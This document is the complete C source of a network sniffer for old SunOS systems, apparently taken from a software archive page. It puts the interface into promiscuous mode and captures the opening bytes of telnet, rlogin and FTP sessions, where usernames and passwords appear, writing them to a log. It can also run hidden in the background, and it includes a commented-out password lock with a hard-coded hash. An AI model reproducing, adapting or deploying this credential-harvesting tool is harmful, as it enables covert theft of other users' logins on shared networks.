home *** CD-ROM | disk | FTP | other *** search
- #include <stdio.h>
- #include <ctype.h>
- #include <string.h>
-
- #include <sys/time.h>
- #include <sys/file.h>
- #include <sys/stropts.h>
- #include <sys/signal.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/ioctl.h>
-
- #include <net/if.h>
- #include <net/nit_if.h>
- #include <net/nit_buf.h>
- #include <net/if_arp.h>
-
- #include <netinet/in.h>
- #include <netinet/if_ether.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <netinet/ip_var.h>
- #include <netinet/udp_var.h>
- #include <netinet/in_systm.h>
- #include <netinet/tcp.h>
- #include <netinet/ip_icmp.h>
-
- #include <netdb.h>
- #include <arpa/inet.h>
-
- #define ERR stderr
-
- char *malloc();
- char *device,
- *ProgName,
- *LogName;
- FILE *LOG;
- int debug=0;
-
- #define NIT_DEV "/dev/nit"
- #define CHUNKSIZE 4096 /* device buffer size */
- int if_fd = -1;
- int Packet[CHUNKSIZE+32];
-
- void Pexit(err,msg)
- int err; char *msg;
- { perror(msg);
- exit(err); }
-
- void Zexit(err,msg)
- int err; char *msg;
- { fprintf(ERR,msg);
- exit(err); }
-
- #define IP ((struct ip *)Packet)
- #define IP_OFFSET (0x1FFF)
- #define SZETH (sizeof(struct ether_header))
- #define IPLEN (ntohs(ip->ip_len))
- #define IPHLEN (ip->ip_hl)
- #define TCPOFF (tcph->th_off)
- #define IPS (ip->ip_src)
- #define IPD (ip->ip_dst)
- #define TCPS (tcph->th_sport)
- #define TCPD (tcph->th_dport)
- #define IPeq(s,t) ((s).s_addr == (t).s_addr)
-
- #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
-
- #define MAXBUFLEN (1024)
- time_t LastTIME = 0;
-
- struct CREC {
- struct CREC *Next,
- *Last;
- time_t Time; /* start time */
- struct in_addr SRCip,
- DSTip;
- u_int SRCport, /* src/dst ports */
- DSTport;
- u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
- u_int Length; /* current data length */
- u_int PKcnt; /* # pkts */
- u_long LASTseq;
- };
-
- struct CREC *CLroot = NULL;
-
- char *Symaddr(ip)
- register struct in_addr ip;
- { register struct hostent *he =
- gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
-
- return( (he)?(he->h_name):(inet_ntoa(ip)) );
- }
-
- char *TCPflags(flgs)
- register u_char flgs;
- { static char iobuf[8];
- #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
-
- SFL(0,TH_FIN, 'F');
- SFL(1,TH_SYN, 'S');
- SFL(2,TH_RST, 'R');
- SFL(3,TH_PUSH,'P');
- SFL(4,TH_ACK, 'A');
- SFL(5,TH_URG, 'U');
- iobuf[6]=0;
- return(iobuf);
- }
-
- char *SERVp(port)
- register u_int port;
- { static char buf[10];
- register char *p;
-
- switch(port) {
- case IPPORT_LOGINSERVER: p="rlogin"; break;
- case IPPORT_TELNET: p="telnet"; break;
- case IPPORT_SMTP: p="smtp"; break;
- case IPPORT_FTP: p="ftp"; break;
- default: sprintf(buf,"%u",port); p=buf; break;
- }
- return(p);
- }
-
- char *Ptm(t)
- register time_t *t;
- { register char *p = ctime(t);
- p[strlen(p)-6]=0; /* strip " YYYY\n" */
- return(p);
- }
-
- char *NOWtm()
- { time_t tm;
- time(&tm);
- return( Ptm(&tm) );
- }
-
- #define MAX(a,b) (((a)>(b))?(a):(b))
- #define MIN(a,b) (((a)<(b))?(a):(b))
-
- /* add an item */
- #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
- register struct CREC *CLtmp = \
- (struct CREC *)malloc(sizeof(struct CREC)); \
- time( &(CLtmp->Time) ); \
- CLtmp->SRCip.s_addr = SIP.s_addr; \
- CLtmp->DSTip.s_addr = DIP.s_addr; \
- CLtmp->SRCport = SPORT; \
- CLtmp->DSTport = DPORT; \
- CLtmp->Length = MIN(LEN,MAXBUFLEN); \
- bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
- CLtmp->PKcnt = 1; \
- CLtmp->Next = CLroot; \
- CLtmp->Last = NULL; \
- CLroot = CLtmp; \
- }
-
- register struct CREC *GET_NODE(Sip,SP,Dip,DP)
- register struct in_addr Sip,Dip;
- register u_int SP,DP;
- { register struct CREC *CLr = CLroot;
-
- while(CLr != NULL) {
- if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
- IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
- break;
- CLr = CLr->Next;
- }
- return(CLr);
- }
-
- #define ADDDATA_NODE(CL,DATA,LEN) { \
- bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
- CL->Length += LEN; \
- }
-
- #define PR_DATA(dp,ln) { \
- register u_char lastc=0; \
- while(ln-- >0) { \
- if(*dp < 32) { \
- switch(*dp) { \
- case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
- break; \
- case '\r': \
- case '\n': fprintf(LOG,"\n : "); \
- break; \
- default : fprintf(LOG,"^%c", (*dp + 64)); \
- break; \
- } \
- } else { \
- if(isprint(*dp)) fputc(*dp,LOG); \
- else fprintf(LOG,"(%d)",*dp); \
- } \
- lastc = *dp++; \
- } \
- fflush(LOG); \
- }
-
- void END_NODE(CLe,d,dl,msg)
- register struct CREC *CLe;
- register u_char *d;
- register int dl;
- register char *msg;
- {
- fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
- fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
- fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
- fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
- NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
- fprintf(LOG," DATA: ");
- { register u_int i = CLe->Length;
- register u_char *p = CLe->Data;
- PR_DATA(p,i);
- PR_DATA(d,dl);
- }
-
- fprintf(LOG,"\n-- \n");
- fflush(LOG);
-
- if(CLe->Next != NULL)
- CLe->Next->Last = CLe->Last;
- if(CLe->Last != NULL)
- CLe->Last->Next = CLe->Next;
- else
- CLroot = CLe->Next;
- free(CLe);
- }
-
- /* 30 mins (x 60 seconds) */
- #define IDLE_TIMEOUT 1800
- #define IDLE_NODE() { \
- time_t tm; \
- time(&tm); \
- if(LastTIME<tm) { \
- register struct CREC *CLe,*CLt = CLroot; \
- LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
- while(CLe=CLt) { \
- CLt=CLe->Next; \
- if(CLe->Time <tm) \
- END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
- } \
- } \
- }
-
- void filter(cp, pktlen)
- register char *cp;
- register u_int pktlen;
- {
- register struct ip *ip;
- register struct tcphdr *tcph;
-
- { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
-
- if(EtherType < 0x600) {
- EtherType = *(u_short *)(cp + SZETH + 6);
- cp+=8; pktlen-=8;
- }
-
- if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
- return;
- }
-
- /* ugh, gotta do an alignment :-( */
- bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
-
- ip = (struct ip *)Packet;
- if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
- return;
- tcph = (struct tcphdr *)(Packet + IPHLEN);
-
- if(!( (TCPD == IPPORT_TELNET) ||
- (TCPD == IPPORT_LOGINSERVER) ||
- (TCPD == IPPORT_FTP)
- )) return;
-
- { register struct CREC *CLm;
- register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
- register u_char *p = (u_char *)Packet;
-
- p += ((IPHLEN * 4) + (TCPOFF * 4));
-
- if(debug) {
- fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
- fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
- fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
- }
-
- if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
-
- CLm->PKcnt++;
-
- if(length>0)
- if( (CLm->Length + length) < MAXBUFLEN ) {
- ADDDATA_NODE( CLm, p,length);
- } else {
- END_NODE( CLm, p,length, "DATA LIMIT");
- }
-
- if(TCPFL(TH_FIN|TH_RST)) {
- END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
- }
-
- } else {
-
- if(TCPFL(TH_SYN)) {
- ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
- }
-
- }
-
- IDLE_NODE();
-
- }
-
- }
-
- /* signal handler
- */
- void death()
- { register struct CREC *CLe;
-
- while(CLe=CLroot)
- END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
-
- fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
- fflush(LOG);
- if(LOG != stdout)
- fclose(LOG);
- exit(1);
- }
-
- /* opens network interface, performs ioctls and reads from it,
- * passing data to filter function
- */
- void do_it()
- {
- int cc;
- char *buf;
- u_short sp_ts_len;
-
- if(!(buf=malloc(CHUNKSIZE)))
- Pexit(1,"Eth: malloc");
-
- /* this /dev/nit initialization code pinched from etherfind */
- {
- struct strioctl si;
- struct ifreq ifr;
- struct timeval timeout;
- u_int chunksize = CHUNKSIZE;
- u_long if_flags = NI_PROMISC;
-
- if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
- Pexit(1,"Eth: nit open");
-
- if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
- Pexit(1,"Eth: ioctl (I_SRDOPT)");
-
- si.ic_timout = INFTIM;
-
- if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
- Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
-
- timeout.tv_sec = 1;
- timeout.tv_usec = 0;
- si.ic_cmd = NIOCSTIME;
- si.ic_len = sizeof(timeout);
- si.ic_dp = (char *)&timeout;
- if(ioctl(if_fd, I_STR, (char *)&si) < 0)
- Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
-
- si.ic_cmd = NIOCSCHUNK;
- si.ic_len = sizeof(chunksize);
- si.ic_dp = (char *)&chunksize;
- if(ioctl(if_fd, I_STR, (char *)&si) < 0)
- Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
-
- strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
- ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
- si.ic_cmd = NIOCBIND;
- si.ic_len = sizeof(ifr);
- si.ic_dp = (char *)𝔦
- if(ioctl(if_fd, I_STR, (char *)&si) < 0)
- Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
-
- si.ic_cmd = NIOCSFLAGS;
- si.ic_len = sizeof(if_flags);
- si.ic_dp = (char *)&if_flags;
- if(ioctl(if_fd, I_STR, (char *)&si) < 0)
- Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
-
- if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
- Pexit(1,"Eth: ioctl (I_FLUSH)");
- }
-
- while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
- register char *bp = buf,
- *bufstop = (buf + cc);
-
- while (bp < bufstop) {
- register char *cp = bp;
- register struct nit_bufhdr *hdrp;
-
- hdrp = (struct nit_bufhdr *)cp;
- cp += sizeof(struct nit_bufhdr);
- bp += hdrp->nhb_totlen;
- filter(cp, (u_long)hdrp->nhb_msglen);
- }
- }
- Pexit((-1),"Eth: read");
- }
- /* Yo Authorize your proogie,generate your own password and uncomment here */
- /* #define AUTHPASSWD "EloiZgZejWyms"
-
- void getauth()
- { char *buf,*getpass(),*crypt();
- char pwd[21],prmpt[81];
-
- strcpy(pwd,AUTHPASSWD);
- sprintf(prmpt,"(%s)UP? ",ProgName);
- buf=getpass(prmpt);
- if(strcmp(pwd,crypt(buf,pwd)))
- exit(1);
- }
- */
- void main(argc, argv)
- int argc;
- char **argv;
- {
- char cbuf[BUFSIZ];
- struct ifconf ifc;
- int s,
- ac=1,
- backg=0;
-
- ProgName=argv[0];
-
- /* getauth(); */
-
- LOG=NULL;
- device=NULL;
- while((ac<argc) && (argv[ac][0] == '-')) {
- register char ch = argv[ac++][1];
- switch(toupper(ch)) {
- case 'I': device=argv[ac++];
- break;
- case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
- Zexit(1,"Output file cant be opened\n");
- break;
- case 'B': backg=1;
- break;
- case 'D': debug=1;
- break;
- default : fprintf(ERR,
- "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
- ProgName);
- exit(1);
- }
- }
-
- if(!device) {
- if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
- Pexit(1,"Eth: socket");
-
- ifc.ifc_len = sizeof(cbuf);
- ifc.ifc_buf = cbuf;
- if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
- Pexit(1,"Eth: ioctl");
-
- close(s);
- device = ifc.ifc_req->ifr_name;
- }
-
- fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
- fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
- (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
-
- if(!LOG)
- LOG=stdout;
-
- signal(SIGINT, death);
- signal(SIGTERM,death);
- signal(SIGKILL,death);
- signal(SIGQUIT,death);
-
- if(backg && debug) {
- fprintf(ERR,"[Cannot bg with debug on]\n");
- backg=0;
- }
-
- if(backg) {
- register int s;
-
- if((s=fork())>0) {
- fprintf(ERR,"[pid %d]\n",s);
- exit(0);
- } else if(s<0)
- Pexit(1,"fork");
-
- if( (s=open("/dev/tty",O_RDWR))>0 ) {
- ioctl(s,TIOCNOTTY,(char *)NULL);
- close(s);
- }
- }
- fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
- fflush(LOG);
-
- do_it();
- }
-